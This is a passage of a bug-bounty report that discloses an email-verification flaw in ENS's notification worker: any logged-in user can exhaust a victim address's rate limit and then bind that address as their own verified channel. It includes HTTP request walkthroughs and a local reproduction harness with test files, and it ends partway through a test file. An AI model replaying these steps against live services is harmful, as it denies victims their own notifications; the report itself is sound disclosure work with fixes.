90069 w a low missing ownership re check in email channel verification lets any authenticated user bind another user s email address to their own account as a verified notification channel
Submitted on Aug 22nd 2026 at 20:30:44 UTC by @enowk for Audit Competition | ENS
- Report ID: #90069
- Report Type: Websites & Apps
- Report severity: Low
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers
- Impacts:
- Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction, such as: Enabling/disabling notifications
Description
Brief/Intro
The email notification channel decides who owns an address by which verification token was clicked, and POST /notifications/channels/email/verify never re-checks that ownership — while the anti-abuse budget that gates verification mail is keyed on the email address rather than on the requesting account. Any authenticated user (a free SIWE login with any wallet they control) can therefore spend a victim's verification quota, suppress the victim's own verification email, and have the victim's address bound to the attacker's account as a verified channel. In production this leaves the victim unable to enable email notifications for their own address ("This email address is already linked to another account"), unable to reclaim it through the product, and delivers ENS notification mail generated by the attacker's account into the victim's inbox.
Vulnerability Details
Three decisions in the same flow compose into the bug. All line references are against workers/api-worker at commit 1c9b47f18fcddd2e864dfe385c4171061c9811ae.
1. The duplicate guard only inspects verified rows
src/app/routes/notifications/channels/email.ts:59-72
const otherUserChannel = await c.var.db.query.userChannels.findFirst({
where: and(
eq(TABLE.userChannels.channel, 'email'),
eq(TABLE.userChannels.target, email),
eq(TABLE.userChannels.status, 'verified'), // <-- pending duplicates pass
),
})
if (otherUserChannel && otherUserChannel.user_id !== userId) {
return c.json({ error: 'This email address is already linked to another account' }, 400)
}
Two different accounts may therefore hold the same address as pending at the same time. The storage layer does not prevent it either — the only uniqueness constraint on the table is scoped per user (src/core/database/schema/notifications.ts:73-79):
"user_channel_unique" UNIQUE CONSTRAINT, btree (user_id, channel, target)
There is no constraint requiring an address to have at most one verified owner.
2. POST /verify confers ownership on whichever channel the token points at
src/app/routes/notifications/channels/email.ts:172-207
const verification = await c.var.db.query.channelVerifications.findFirst({
where: and(
eq(TABLE.channelVerifications.token, token),
eq(TABLE.channelVerifications.purpose, 'verify'),
gt(TABLE.channelVerifications.expires_at, new Date()),
),
with: { channel: true },
})
if (!verification) {
return c.json({ error: 'Invalid or expired verification token' }, 400)
}
await c.var.db
.update(TABLE.userChannels)
.set({ status: 'verified', verified_at: new Date() })
.where(eq(TABLE.userChannels.id, verification.channel_id)) // <-- the requester's channel
The endpoint is unauthenticated by design, because the link is clicked from an inbox. That is reasonable on its own, but it means possession of the token is the entire authorization story — and the token was mailed to the address, while the row it points at belongs to the account that requested it. Nothing forces those to be the same party. The handler additionally never re-checks that the channel is still pending, and never re-runs the "verified elsewhere" query from step 1.
The verification record itself cannot support such a check: channel_verifications declares a target column (src/core/database/schema/notifications.ts:109) that is never populated at either insert site (email.ts:105-114, $id.ts:191-200), so the row does not record which address the token was sent to. Two further declared controls are also unused — consumed_at is never written anywhere in the codebase, and attempts is set to 0 at both insert sites and never incremented.
3. The anti-abuse budget is keyed on an address the requester does not own
src/services/notifications/email-verification-rate-limit.ts:25-31
const normalizedEmail = normalizeEmailForRateLimit(email)
const key = KV_KEY.NOTIFICATIONS.EMAIL_VERIFICATION(normalizedEmail)
// -> "notifications:email-verification:victim@example.com" (no user id, no account)
The budget is 3 sends per 3600 seconds. Because the key contains no account identity, any authenticated caller can exhaust the quota belonging to an address they do not control.
The ordering in POST /email matters as much as the key. The channel row is created at email.ts:76, the verification token at :105, and the budget is only consumed at :126 — after both — gating solely the sendVerificationEmail call at :143:
const rateLimit = await checkAndConsumeEmailVerificationRateLimit(c.env.KV, email)
if (!rateLimit.isAllowed) {
return c.json({ error: formatEmailVerificationRateLimitError(rateLimit.retryAfterSeconds) }, 429)
}
So a rate-limited victim still receives a channel row and a valid token — but no email carrying it. They hold a key that was never delivered to them. (By contrast, the resend endpoint at $id.ts:170-200 checks the budget before minting a token, which is the correct order.)
Amplifier: the verification email identifies no account
src/services/email/verification.ts:24-40 opens "Thank you for signing up for ENS notifications!" and names no account, wallet, or ENS name. A recipient cannot distinguish a request they made from one made about them by a third party.
Why the victim's click is genuinely required
Tokens are 128-bit CSPRNG values (src/services/notifications/helpers.ts:173-177, crypto.getRandomValues), and neither the POST /email response nor GET /notifications/channels/:id returns the token. The attacker cannot obtain or guess their own token. No zero-interaction variant is claimed.
Why the capture is not reclaimable by the victim
Three mechanisms, all reproduced:
-
The recovery path targets the wrong row.
src/app/routes/webhook/sendgrid.ts:222-231flips a channel tounsubscribedon an unsubscribe or spam report, which would free the address. But the handler resolves the channel by address alone, with no status filter and no ordering (sendgrid.ts:172-173):const channel = await db.query.userChannels.findFirst({ where: eq(TABLE.userChannels.target, event.email), })After the attack two rows exist for the address: the victim's stranded
pendingrow (created atemail.ts:76before their429) and the attacker'sverifiedrow. Since the attacker's row wasUPDATEd, its live tuple sits at the heap tail under Postgres MVCC and the unordered scan returns the victim's row first. The victim's spam report unsubscribes their own row and the capture survives. Observed 5/5 runs. -
Sibling tokens re-capture the address. Every
POST /emailmints a new verification row against the same channel, so three attacker requests leave three independently valid tokens, each live for 24 hours.POST /verifydeletes only the token it consumed (email.ts:204-206), so a replay of that token fails while its siblings still succeed. Even where the victim does free the address, a click on any of the other identical ENS emails re-verifies the attacker's channel. -
The attacker can re-arm indefinitely. An
unsubscribedrow is not sticky against its own owner: the attacker re-issuesPOST /email, theonConflictDoUpdateatemail.ts:83-93flips their row back topending, and fresh tokens are mailed to the victim.
Scope of the defect class
target is treated as a globally identifying value in several places while the schema permits duplicates across users — dlq.ts:209 and delivery/push.ts:124 (UPDATE … WHERE target, affecting every matching row), delivery/push.ts:55, and webhook/sendgrid.ts:173. I analysed each and found no attacker-reachable input for them at this commit, so none is claimed here; they are noted only because they indicate the fix should be structural rather than local to the email route. Email is the exploitable case because it is the only channel whose target an attacker can freely assert: Telegram binds ownership to a Telegram-signed HMAC (services/telegram/auth.ts) and push binds it to an unguessable per-subscription endpoint.
Impact Details
Selected impact (Medium, verbatim from the program's in-scope list): "Changing non-sensitive details of other users (including modifying browser local storage) without already-connected wallet interaction and with up to one click of user interaction, such as: Enabling/disabling notifications."
Preconditions. The attacker needs only a SIWE session with any wallet they control (free) and knowledge of the victim's email address. No connected-wallet interaction by the victim, and no access to the victim's account, device, or inbox. The victim must not already have a verified email channel for that address — if they do, email.ts:67 blocks the attacker. The realistic target population is therefore every user who has not yet set up email notifications.
Concrete effects, all reproduced:
- The victim is denied a notification feature on their own address, durably. After the capture, the victim's
POST /notifications/channels/emailreturns400 "This email address is already linked to another account"in every subsequent rate-limit window. Through the product there is no way back: the unsubscribe path flips the wrong row, spare tokens re-verify the attacker, and the attacker re-arms for the cost of three requests per hour. This is precisely the "enabling/disabling notifications" of another user described by the selected impact. - ENS-branded mail generated by the attacker's account is delivered to the victim's inbox. Dispatch selects every
verifiedchannel belonging to the owning user (services/notifications/create.ts:116-121) with no re-confirmation that the address still belongs to that user, so the attacker controls delivery into a third party's mailbox by choosing which names to favourite. - Sustained suppression of the victim's own verification mail at a cost of three requests per hour, indefinitely.
Cost to the attacker: three authenticated HTTP requests per hour. No wallet funds, no gas, no privileged position.
Interaction cost, stated plainly. The chain costs the victim two interactions: clicking the link in the email, then clicking "Verify Email Address" on the ENS page it opens — the landing route does not auto-submit (apps/manager/src/routes/notifications/channels/email/verify.tsx:220-224). I am claiming the "up to one click" Medium tier on the basis that the second click is ENS's own confirmation step inside the verification workflow the victim was already attempting to complete, not additional attacker-contrived interaction; many implementations of this same flow verify on page load, which would make it literally one click. The out-of-scope clause for "un-prompted in-app user actions outside normal workflows" does not apply either: the victim is not acting un-prompted, having just attempted to add their own address, been refused with a rate-limit error, and then acted on ENS-branded verification mail already in their inbox.
Impact ceiling — what this is not. To avoid overstating severity, I traced whether the fraudulent verified channel can cross any further boundary, and it cannot. Identity is derived exclusively from the SIWE-verified wallet address (services/auth/index.ts:109, addUserIfNotExists(db, address)); the users table has only id and address and no email column; no email-to-account resolver exists anywhere in the repository; and every dispatch query filters on user_id before touching a channel. There is no authentication, session, password-reset, account-recovery, account-linking, or transaction path that reads a channel — purpose: 'link' is documented in the schema but never implemented. The boundary crossed is ownership of a notification channel, not account identity.
Not claimed. The attack does not depend on the non-atomic KV read-modify-write documented at email-verification-rate-limit.ts:34-36; it uses the limiter exactly as designed with ordinary sequential requests. Deletion-time SendGrid broadcast-list effects are also not claimed, because wrangler.jsonc:107 ships SENDGRID_BROADCAST_LIST_ID: "" and the relevant code is gated on that value being truthy.
References
Asset: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/workers Commit: 1c9b47f18fcddd2e864dfe385c4171061c9811ae
Primary:
workers/api-worker/src/app/routes/notifications/channels/email.ts:59-72— duplicate guard inspects onlyverifiedrowsworkers/api-worker/src/app/routes/notifications/channels/email.ts:76-124— channel row and token created before any budget checkworkers/api-worker/src/app/routes/notifications/channels/email.ts:126-140— budget consumed, gating only the sendworkers/api-worker/src/app/routes/notifications/channels/email.ts:172-207—POST /verifybinds by token with no ownership or status re-checkworkers/api-worker/src/services/notifications/email-verification-rate-limit.ts:25-31— budget keyed on the bare addressworkers/api-worker/src/core/database/schema/notifications.ts:73-79—UNIQUE (user_id, channel, target), scoped per userworkers/api-worker/src/core/database/schema/notifications.ts:95-120—target,consumed_at,attemptsdeclared but unused
Supporting:
workers/api-worker/src/services/email/verification.ts:24-40— verification mail names no accountworkers/api-worker/src/services/notifications/helpers.ts:173-177— 128-bit CSPRNG tokensworkers/api-worker/src/services/notifications/create.ts:116-121— dispatch to every verified channel of the owning userworkers/api-worker/src/app/routes/webhook/sendgrid.ts:172-173and:222-231— unscoped channel resolution on delivery eventsworkers/api-worker/src/services/auth/index.ts:109— identity derived solely from the SIWE-verified addressapps/manager/src/routes/notifications/channels/email/verify.tsx:220-224— verification confirmed by button clickworkers/api-worker/wrangler.jsonc:107—SENDGRID_BROADCAST_LIST_ID: ""
Proof of Concept
Proof of Concept
Two accounts are used: ATTACKER (any wallet the researcher controls) and VICTIM (victim@example.com). No third-party system is contacted at any point — the SendGrid hops are stubbed, since the program prohibits testing against third-party systems. The capture is proven by asserting the resulting database state, not by observing mail delivery.
Part A — request-level walkthrough
All requests are ordinary sequential HTTP calls against the api-worker. No race condition is involved.
Step 1 — the attacker requests verification for an address they do not own, three times.
POST /notifications/channels/email
Authorization: Bearer <ATTACKER JWT>
Content-Type: application/json
{"email":"victim@example.com"}
Response 200 each time. Per call the worker:
- upserts a row
user_channels(user_id=ATTACKER, channel='email', target='victim@example.com', status='pending')(email.ts:76-97) — the guard atemail.ts:59-72does not fire, because it only matchesverifiedrows; - inserts a fresh
channel_verificationsrow with a new random token (email.ts:105-120); - consumes one unit of the budget keyed
notifications:email-verification:victim@example.com(email-verification-rate-limit.ts:30); - sends an ENS verification email to the victim's inbox carrying the attacker's token (
email.ts:143).
After three calls the address budget (3 per 3600s) is exhausted, and three independently valid tokens exist against the attacker's single channel row.
Step 2 — the victim tries to add their own address.
POST /notifications/channels/email
Authorization: Bearer <VICTIM JWT>
Content-Type: application/json
{"email":"victim@example.com"}
Response:
429
{"error":"Too many verification emails sent to this address. Try again in 60 minutes."}
No mail is sent to the victim. Note that a pending row and a token are still created for the victim first (email.ts:76, :105), because the budget is only checked afterwards at :126 — the victim now holds a token that was never delivered to them. The attacker sustains this state indefinitely at three requests per hour.
Step 3 — the victim clicks the ENS mail they did receive.
The victim opens the link and clicks "Verify Email Address" on the ENS page (apps/manager/src/routes/notifications/channels/email/verify.tsx:220-224), which issues:
POST /notifications/channels/email/verify
Content-Type: application/json
{"token":"<attacker token>"}
Response 200 {"message":"Email verified successfully"}.
POST /verify looks the token up and marks verification.channel_id verified (email.ts:195-201) without re-checking ownership or status — so the attacker's row becomes verified.
Step 4 — confirm the capture in the database.
SELECT user_id, status FROM user_channels
WHERE target = 'victim@example.com' AND status = 'verified';
Exactly one row, and its user_id is the ATTACKER's.
Step 5 — confirm the victim is locked out, in a fresh rate-limit window.
POST /notifications/channels/email
Authorization: Bearer <VICTIM JWT>
{"email":"victim@example.com"}
400
{"error":"This email address is already linked to another account"}
Part B — one-command reproduction
The steps above are automated as an executable test suite. It stands up a real PostgreSQL 15, applies the project's own migrations from workers/api-worker/drizzle, and drives the real Hono application — real middleware chain, real HS256 JWT auth, real getDatabase() and drizzle neon-http driver, real SQL. Only #services/email/verification.js, #services/email/welcome.js and #services/sendgrid/contacts.js are stubbed; the verification stub records (recipient, token) in place of sending. SENDGRID_BROADCAST_LIST_ID is set to "", matching wrangler.jsonc:107.
Because the neon-http driver communicates over plain HTTP and core/database/index.ts:10-15 already rewrites host db.localtest.me to http://db.localtest.me:4444/sql, a ~60-line local Node implementation of the Neon HTTP protocol is used instead of the usual proxy container. The only deviation from production is a local uuid_generate_v7() shim, because the pg_uuidv7 extension is not installable in the stock postgres:15 image; it affects id generation only.
The complete harness is reproduced inline in Part E below — seven files, no external dependencies beyond Docker, Node 20+ and npm. Save them into one empty directory and run:
chmod +x run-poc.sh
./run-poc.sh /path/to/audit-comp-ens
/path/to/audit-comp-ens is your own checkout of the audit-comp-ready branch with pnpm install already run, so the tests use the repository's own vitest. Expected: four test files, 19 tests, all passing, followed by git status showing your checkout is unchanged.
Observed output for the capture:
--- CAPTURE (real app, real Postgres) ---
attacker user_id : 01a02aa4-b1a9-0792-287c-c4cc5bf95186
victim user_id : 01a02aa4-b1b2-0783-2d92-86f9bf226647
mails delivered to : victim@example.com
victim self-add : 429, mail sent = 0
verified channel owner : 01a02aa4-b1a9-0792-287c-c4cc5bf95186 <- ATTACKER
victim retry (new window): 400 {"error":"This email address is already linked to another account"}
Asserted by the suite, not merely printed: exactly one verified row exists for the address; its user_id is the attacker's and is not the victim's; the victim's 429 produced zero mail; the victim's retry in a fresh window still returns 400.
Also asserted in the same run:
pending rows for one address : 2 (unique is (user_id,channel,target))
verified rows for ONE address : 2 (both accounts)
The second line is the variant where the attacker's pending row predates the victim's own verification: both accounts end up verified on the same address, with no lockout and no error shown to the victim.
Part C — the cross-account budget consumption in isolation
Drives the product's real checkAndConsumeEmailVerificationRateLimit directly:
--- CROSS-ACCOUNT BUDGET ---
attacker sends allowed : 3
victim allowed : false
victim sees : Too many verification emails sent to this address. Try again in 60 minutes.
KV key : notifications:email-verification:victim@example.com
--- RATE-LIMIT KEY SHAPE ---
key : notifications:email-verification:victim@example.com
--- SUSTAINED DENIAL ---
windows tested : 5
victim denied : 5/5 (attacker cost: 3 requests/hour)
Expected behaviour: a budget spent by one account cannot deny a different account the use of an address it actually controls. Actual behaviour: the address is the entire key, and any authenticated caller can spend it.
Part D — persistence and preconditions
| Test | Question | Result |
|---|---|---|
| a | Can an unsubscribe free the address at all? | Yes — 400 → 200, but only when the victim has no row of their own |
| b | Which row does sendgrid.ts:173 pick when two share an address? | The victim's pending row, 5/5 runs |
| c | Does the attack work if the victim verified first? | No — the attacker receives 400. A genuine precondition |
| d | Does an unsubscribe free the victim in the real chain? | No — still 400, 5/5 runs |
| 5a | How many live tokens accumulate against one channel? | 3 requests → 3 valid tokens, 1 channel row |
| 5b | Is a token single-use? | Yes (400 on replay), but sibling tokens still verify (200) |
| 5c | Can a spare token undo a successful recovery? | Yes — re-verifies to the ATTACKER |
| 5d | Expired token | Rejected 400 |
| 5e | Token after the channel is deleted | Rejected 400 (FK cascade) |
| 5f | Can the attacker re-arm after an unsubscribe? | Yes — the row flips back to pending and fresh mail is sent |
| 6a | Concurrent add by two accounts | Both 200, 2 rows |
| 6b | Concurrent verify by two accounts | Both 200, 2 verified rows |
Sample output for the decisive persistence cases:
(d) rows after the chain : victim/pending, attacker/verified
(d) webhook would flip : victim /pending
(d) victim after unsubscribe : 400 {"error":"This email address is already linked to another account"}
5c. victim after unsubscribe : 200 (freed)
5c. replay spare token : 200
5c. verified owner again : ATTACKER
5f. attacker re-arm request : 200 -> row status: pending
5f. fresh mail to victim : 1 to victim@example.com
Notes on test hygiene
The test files are copied into the checkout only to run, then deleted; the script prints git status at the end so the reviewer can confirm the repository is unchanged. No production data was touched, no email was sent, and no third-party system was contacted.
One result is explicitly not offered as evidence: the KV budget's non-atomic read-modify-write, documented in a comment at email-verification-rate-limit.ts:34-36. The harness backs KV with an in-memory map whose operations resolve synchronously, so no interleaving can occur and eight concurrent requests produced exactly three sends. That neither confirms nor refutes the race on real Cloudflare KV, and the finding does not rely on it — the attack is entirely sequential.
Recommended fix
Any one of the first three closes the capture; the first alone is sufficient.
- Re-check ownership at verify time. Before marking the channel verified, require
channel.status === 'pending'and re-run the "verified elsewhere" query fromemail.ts:59-72, rejecting if the address is already verified on another account. - Key the verification budget per
(user, address)rather than per address — or check the budget before creating the channel and token rows, counting attempts per requesting account, as the resend endpoint at$id.ts:170-200already does. - Name the account in the verification email (the wallet address or ENS name the channel belongs to) so a recipient can distinguish a request they made from one they did not.
- Structural hardening: add a partial unique index enforcing at most one
verifiedrow per(channel, target), so the invariant cannot be violated by any future code path; invalidate all outstanding tokens for a channel once one is consumed, and populate the already-declaredconsumed_at; and scope the delivery-event lookups inwebhook/sendgrid.ts:173,dlq.ts:209anddelivery/push.ts:55,124so events cannot be applied to another account's row.
Part E — the harness, inline
Save each of the following into one directory, using the filename given in its heading.
package.json
Single dependency, pinned.
{
"name": "ens-email-channel-capture-poc",
"private": true,
"type": "module",
"dependencies": { "pg": "8.13.1" }
}
neon-proxy.mjs
Local implementation of the Neon serverless HTTP protocol, backed by the Docker Postgres. Needed because the worker uses the drizzle neon-http driver, which speaks plain HTTP, and core/database/index.ts:10-15 already rewrites host db.localtest.me to http://db.localtest.me:4444/sql — so the driver connects unmodified.
// Minimal local implementation of the Neon serverless HTTP SQL protocol.
// Stands in for ghcr.io/timowilhelm/local-neon-http-proxy so the api-worker's
// real getDatabase()/drizzle neon-http driver can run unmodified against a
// real Postgres. Nothing about the audited code is changed.
import http from 'node:http'
import pg from 'pg'
const PG = { host: '127.0.0.1', port: 55432, user: 'postgres', password: 'postgres', database: 'ens' }
const pool = new pg.Pool({ ...PG, max: 10 })
// Neon-Raw-Text-Output: return every value as raw text and let the client parse.
const rawTypes = { getTypeParser: () => (v) => v }
const runOne = async (client, { query, params }, arrayMode) => {
const res = await client.query({
text: query,
values: params ?? [],
rowMode: arrayMode ? 'array' : undefined,
types: rawTypes,
})
return {
command: res.command,
rowCount: res.rowCount,
rows: res.rows,
fields: (res.fields ?? []).map((f) => ({
name: f.name, dataTypeID: f.dataTypeID, tableID: f.tableID,
columnID: f.columnID, dataTypeSize: f.dataTypeSize,
dataTypeModifier: f.dataTypeModifier, format: 'text',
})),
rowAsArray: !!arrayMode,
}
}
http.createServer((req, res) => {
let body = ''
req.on('data', (c) => (body += c))
req.on('end', async () => {
const arrayMode = req.headers['neon-array-mode'] === 'true'
const client = await pool.connect()
try {
const parsed = JSON.parse(body)
let out
if (Array.isArray(parsed.queries)) {
await client.query('BEGIN')
out = []
for (const q of parsed.queries) out.push(await runOne(client, q, arrayMode))
await client.query('COMMIT')
out = { results: out }
} else {
out = await runOne(client, parsed, arrayMode)
}
res.writeHead(200, { 'content-type': 'application/json' })
res.end(JSON.stringify(out))
} catch (err) {
try { await client.query('ROLLBACK') } catch {}
res.writeHead(400, { 'content-type': 'application/json' })
res.end(JSON.stringify({ message: err.message, code: err.code, severity: 'ERROR' }))
} finally {
client.release()
}
})
}).listen(4444, '127.0.0.1', () => console.log('neon-http proxy on :4444'))
run-poc.sh
Brings up Postgres, applies the project's own migrations, starts the proxy, runs all four test files against the real application, then removes everything it copied in and prints git status.
#!/usr/bin/env bash
#
# Reproduction for: "Missing ownership re-check in email channel verification lets any
# authenticated user bind another user's email address to their own account as a verified
# notification channel."
#
# Usage: ./run-poc.sh /path/to/audit-comp-ens
# (or set REPO=/path/to/audit-comp-ens)
#
# What it does:
# 1. starts PostgreSQL 15 in Docker and applies the project's own drizzle migrations
# 2. starts a local implementation of the Neon HTTP protocol on :4444, so the worker's
# real neon-http driver connects unmodified (core/database/index.ts already rewrites
# host db.localtest.me -> http://db.localtest.me:4444/sql)
# 3. copies four test files into the checkout, runs them against the REAL Hono app,
# then deletes them and prints `git status` to show the tree is unchanged
#
# Nothing in the audited code is modified. No third-party system is contacted: the SendGrid
# hops are stubbed, and the verification stub records (recipient, token) instead of sending.
set -euo pipefail
REPO="${1:-${REPO:-}}"
if [[ -z "$REPO" || ! -d "$REPO/workers/api-worker" ]]; then
echo "usage: $0 /path/to/audit-comp-ens (a checkout of the audit-comp-ready branch)" >&2
exit 1
fi
REPO="$(cd "$REPO" && pwd)"
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
API="$REPO/workers/api-worker"
cleanup() {
rm -f "$API"/src/zz-poc-0{1,2,3,4}-*.test.ts "$API"/vitest.poc0{1,2,3,4}.config.ts
[[ -n "${PROXY_PID:-}" ]] && kill "$PROXY_PID" 2>/dev/null || true
}
trap cleanup EXIT
echo "==> 1/4 postgres"
docker rm -f enspoc-pg >/dev/null 2>&1 || true
docker run -d --name enspoc-pg -e POSTGRES_PASSWORD=postgres -e POSTGRES_DB=ens \
-p 55432:5432 postgres:15 >/dev/null
until docker exec enspoc-pg pg_isready -U postgres >/dev/null 2>&1; do sleep 1; done
echo "==> 2/4 schema (the pg_uuidv7 extension is not in the stock image, so uuid_generate_v7 is shimmed)"
docker exec -i enspoc-pg psql -U postgres -d ens -q <<'SQL'
CREATE EXTENSION IF NOT EXISTS pgcrypto;
CREATE OR REPLACE FUNCTION uuid_generate_v7() RETURNS uuid AS $$
DECLARE unix_ts_ms bytea; uuid_bytes bytea;
BEGIN
unix_ts_ms = substring(int8send((extract(epoch from clock_timestamp())*1000)::bigint) from 3);
uuid_bytes = unix_ts_ms || gen_random_bytes(10);
uuid_bytes = set_byte(uuid_bytes, 6, (b'0111' || get_byte(uuid_bytes,6)::bit(8) >> 4)::bit(8)::int);
uuid_bytes = set_byte(uuid_bytes, 8, (b'10' || get_byte(uuid_bytes,8)::bit(8) >> 2)::bit(8)::int);
RETURN encode(uuid_bytes,'hex')::uuid;
END $$ LANGUAGE plpgsql VOLATILE;
SQL
for f in "$API"/drizzle/*.sql; do
sed -e 's/--> statement-breakpoint//g' -e '/CREATE EXTENSION IF NOT EXISTS pg_uuidv7/d' "$f" \
| docker exec -i enspoc-pg psql -U postgres -d ens -q >/dev/null
done
echo "==> 3/4 neon-http proxy on :4444"
[[ -d "$HERE/node_modules" ]] || (cd "$HERE" && npm install --silent --no-audit --no-fund)
node "$HERE/neon-proxy.mjs" > "$HERE/proxy.log" 2>&1 &
PROXY_PID=$!
sleep 2
echo "==> 4/4 driving the real app"
i=0
for t in 01-ratelimit 02-capture 03-persistence 04-tokens; do
i=$((i+1))
cp "$HERE/$t.test.ts" "$API/src/zz-poc-$t.test.ts"
cat > "$API/vitest.poc0$i.config.ts" <<TS
import { defineConfig } from 'vitest/config'
export default defineConfig({ test: { environment: 'node', include: ['src/zz-poc-$t.test.ts'], testTimeout: 60000, hookTimeout: 60000 } })
TS
done
cd "$API"
for i in 1 2 3 4; do
npx vitest run --config "vitest.poc0$i.config.ts" --disable-console-intercept 2>&1 | grep -vE '"level":"info"'
done
cleanup
echo "==> checkout status (expect no new files from this run)"
cd "$REPO" && git status --porcelain
01-ratelimit.test.ts
Drives the real checkAndConsumeEmailVerificationRateLimit against a mock KV, showing the budget is keyed on the address rather than the account.
/**
* The email-verification anti-abuse budget is keyed on an
* address the requester does not own, and is consumed before any ownership proof.
*
* Drives the REAL product function
* `#services/notifications/email-verification-rate-limit.js`
* against a mock KVNamespace. No third-party system is contacted.
*/
import { beforeEach, describe, expect, it } from 'vitest'
import {
checkAndConsumeEmailVerificationRateLimit,
EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS,
formatEmailVerificationRateLimitError,
} from '#services/notifications/email-verification-rate-limit.js'
class MockKV {
store = new Map<string, string>()
async get(key: string) {
return this.store.get(key) ?? null
}
async put(key: string, value: string) {
this.store.set(key, value)
}
}
const VICTIM_EMAIL = 'victim@example.com'
describe('Cross-account consumption of the email verification budget', () => {
let kv: MockKV
beforeEach(() => {
kv = new MockKV()
})
it('an attacker exhausts a victim address budget; the victim is then denied', async () => {
// The attacker is any authenticated account. Nothing ties these calls to
// ownership of victim@example.com — the key is the address itself.
const attackerResults = []
for (let i = 0; i < EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS; i++) {
attackerResults.push(
await checkAndConsumeEmailVerificationRateLimit(
kv as unknown as KVNamespace,
VICTIM_EMAIL,
),
)
}
// Now the real owner of the address tries to add it to their own account.
const victim = await checkAndConsumeEmailVerificationRateLimit(
kv as unknown as KVNamespace,
VICTIM_EMAIL,
)
console.log('\n--- CROSS-ACCOUNT BUDGET ---')
console.log('attacker sends allowed :', attackerResults.filter((r) => r.isAllowed).length)
console.log('victim allowed :', victim.isAllowed)
console.log(
'victim sees :',
victim.isAllowed
? '(sent)'
: formatEmailVerificationRateLimitError(victim.retryAfterSeconds),
)
console.log('KV key :', [...kv.store.keys()][0])
expect(attackerResults.every((r) => r.isAllowed)).toBe(true)
expect(victim.isAllowed).toBe(false)
})
it('the budget key is the bare normalized address — no user scope', async () => {
await checkAndConsumeEmailVerificationRateLimit(
kv as unknown as KVNamespace,
' VICTIM@Example.com ',
)
const key = [...kv.store.keys()][0]
console.log('\n--- RATE-LIMIT KEY SHAPE ---')
console.log('key :', key)
// no user id, no account, no wallet — only the address
expect(key).toBe(`notifications:email-verification:${VICTIM_EMAIL}`)
expect(key).not.toMatch(/user/i)
})
it('the denial is sustainable: a fresh burn re-denies in every window', async () => {
let denied = 0
const WINDOWS = 5
for (let w = 0; w < WINDOWS; w++) {
kv.store.clear() // a new hour: KV entry has expired
for (let i = 0; i < EMAIL_VERIFICATION_RATE_LIMIT_MAX_SENDS; i++) {
await checkAndConsumeEmailVerificationRateLimit(
kv as unknown as KVNamespace,
VICTIM_EMAIL,
)
}
const victim = await checkAndConsumeEmailVerificationRateLimit(
kv as unknown as KVNamespace,
VICTIM_EMAIL,
)
if (!victim.isAllowed) denied++
}
console.log('\n--- SUSTAINED DENIAL ---')
console.log(`windows tested : ${WINDOWS}`)
console.log(`victim denied : ${denied}/${WINDOWS} (attacker cost: 3 requests/hour)`)
expect(denied).toBe(WINDOWS)
})
})
02-capture.test.ts
The core proof. Drives the real Hono application end to end and asserts that the single verified row for the victim's address belongs to the attacker.
/**
* End-to-end capture of another user's email address as a verified notification
* channel, executed against the REAL api-worker application.
*
* Nothing in the audited checkout is modified: this file is copied in, run, deleted.
* - real Hono app (src/app/index.ts) with its real middleware chain + JWT auth
* - real getDatabase() / drizzle neon-http driver, over a local implementation
* of the Neon HTTP protocol, against a real PostgreSQL 15 with the project's
* own drizzle migrations applied
* - only the SendGrid hops are stubbed. The program prohibits testing against
* SendGrid, so the stub captures (recipient, token) instead of sending.
*/
import { beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
import { okAsync } from 'neverthrow'
import { sql } from 'drizzle-orm'
// ---- capture the mail that SendGrid would have delivered -------------------
type SentMail = { to: string; token: string }
const sentMail: SentMail[] = []
vi.mock('#services/email/verification.js', () => ({
sendVerificationEmail: vi.fn(
(_key: string, _from: string, toEmail: string, token: string) => {
sentMail.push({ to: toEmail, token })
return okAsync({ ok: true })
},
),
}))
vi.mock('#services/email/welcome.js', () => ({
sendWelcomeEmail: vi.fn(() => okAsync({ ok: true })),
}))
vi.mock('#services/sendgrid/contacts.js', () => ({
addContactToList: vi.fn(() => okAsync({ jobId: 'stub' })),
deleteContact: vi.fn(() => okAsync({ jobId: 'stub' })),
searchContact: vi.fn(() => okAsync(null)),
}))
const { sign } = await import('hono/jwt')
const app = (await import('#app/index.js')).default
const { getDatabase } = await import('#core/database/index.js')
// ---- environment: mirrors wrangler.jsonc, incl. the empty broadcast list id --
const kvStore = new Map<string, string>()
const KV = {
get: async (k: string) => kvStore.get(k) ?? null,
put: async (k: string, v: string) => void kvStore.set(k, v),
delete: async (k: string) => void kvStore.delete(k),
}
const env = {
DATABASE_URL: 'postgres://postgres:postgres@db.localtest.me/ens',
JWT_SECRET: 'test-secret-ens005',
KV,
SENDGRID_API_KEY: 'stub',
EMAIL_FROM_ADDRESS: 'noreply@ens.dev',
MANAGER_APP_URL: 'https://app.ens.dev',
SENDGRID_BROADCAST_LIST_ID: '', // wrangler.jsonc:107 — audited configuration
} as never
const execCtx = { waitUntil: () => {}, passThroughOnException: () => {} } as never
const VICTIM_EMAIL = 'victim@example.com'
let ATTACKER = '', VICTIM = '', attackerJwt = '', victimJwt = ''
const db = () => getDatabase(env)
/** run raw SQL and return rows, regardless of driver result shape */
const q = async <T>(text: string): Promise<T[]> => {
const res: unknown = await db().execute(sql.raw(text))
if (Array.isArray(res)) return res as T[]
return ((res as { rows?: T[] }).rows ?? []) as T[]
}
const call = (path: string, body: unknown, jwt?: string) =>
app.request(
path,
{
method: 'POST',
headers: {
'content-type': 'application/json',
...(jwt ? { authorization: `Bearer ${jwt}` } : {}),
},
body: JSON.stringify(body),
},
env,
execCtx,
)
const EMAIL_PATH = '/notifications/channels/email'
beforeAll(async () => {
const d = db()
void d
const mk = async (address: string) => {
const rows = await q<{ id: string }>(
`insert into users (address) values ('${address}') returning id`,
)
return rows[0].id
}
await q(`delete from users where address like '0xTEST%'`)
ATTACKER = await mk('0xTESTattacker')
VICTIM = await mk('0xTESTvictim')
attackerJwt = await sign({ user_id: ATTACKER, address: '0xTESTattacker' }, env.JWT_SECRET)
victimJwt = await sign({ user_id: VICTIM, address: '0xTESTvictim' }, env.JWT_SECRET)
})
beforeEach(async () => {
sentMail.length = 0
kvStore.clear()
await q(`delete from user_channels`)
})
describe('Capture of another user\'s email as a verified channel', () => {
